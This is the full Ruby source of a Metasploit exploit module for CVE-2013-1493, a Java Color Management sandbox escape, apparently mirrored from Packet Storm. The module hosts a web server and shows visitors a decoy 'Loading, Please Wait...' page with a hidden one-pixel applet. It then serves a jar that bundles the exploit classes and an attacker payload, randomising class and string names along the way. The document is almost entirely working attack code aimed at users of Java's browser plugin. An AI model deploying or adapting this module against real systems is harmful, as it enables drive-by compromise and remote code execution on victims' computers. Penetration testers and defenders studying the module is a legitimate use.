Lucene search

K
packetstormJuan vazquezPACKETSTORM:120999
HistoryMar 28, 2013 - 12:00 a.m.

Java CMM Remote Code Execution

2013-03-2800:00:00
juan vazquez
packetstormsecurity.com
37

0.968 High

EPSS

Percentile

99.6%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
  
super( update_info( info,  
'Name' => 'Java CMM Remote Code Execution',  
'Description' => %q{  
This module abuses the Color Management classes from a Java Applet to run  
arbitrary Java code outside of the sandbox as exploited in the wild in February  
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41  
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1  
systems. This exploit doesn't bypass click-to-play, so the user must accept the java  
warning in order to run the malicious applet.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery and Exploit  
'juan vazquez' # Metasploit module (just ported the published exploit)  
],  
'References' =>  
[  
[ 'CVE', '2013-1493' ],  
[ 'OSVDB', '90737' ],  
[ 'BID', '58238' ],  
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],  
[ 'URL', 'http://pastie.org/pastes/6581034' ]  
],  
'Platform' => [ 'win', 'java' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Platform' => 'java',  
'Arch' => ARCH_JAVA  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
]  
],  
'DefaultTarget' => 1,  
'DisclosureDate' => 'Mar 01 2013'  
))  
end  
  
  
def setup  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class")  
@init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class")  
@leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class")  
@buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class")  
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
  
@init_class_name = rand_text_alpha("Init".length)  
@init_class.gsub!("Init", @init_class_name)  
super  
end  
  
def on_request_uri(cli, request)  
print_status("handling request for #{request.uri}")  
  
case request.uri  
when /\.jar$/i  
jar = payload.encoded_jar  
jar.add_file("#{@init_class_name}.class", @init_class)  
jar.add_file("Leak.class", @leak_class)  
jar.add_file("MyBufferedImage.class", @buffered_image_class)  
jar.add_file("MyColorSpace.class", @color_space_class)  
metasploit_str = rand_text_alpha("metasploit".length)  
payload_str = rand_text_alpha("payload".length)  
jar.entries.each { |entry|  
entry.name.gsub!("metasploit", metasploit_str)  
entry.name.gsub!("Payload", payload_str)  
entry.data = entry.data.gsub("metasploit", metasploit_str)  
entry.data = entry.data.gsub("Payload", payload_str)  
}  
jar.build_manifest  
  
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })  
when /\/$/  
payload = regenerate_payload(cli)  
if not payload  
print_error("Failed to generate the payload.")  
send_not_found(cli)  
return  
end  
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })  
else  
send_redirect(cli, get_resource() + '/', '')  
end  
  
end  
  
def generate_html  
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|  
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|  
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|  
html += %Q|</applet></body></html>|  
return html  
end  
  
end  
`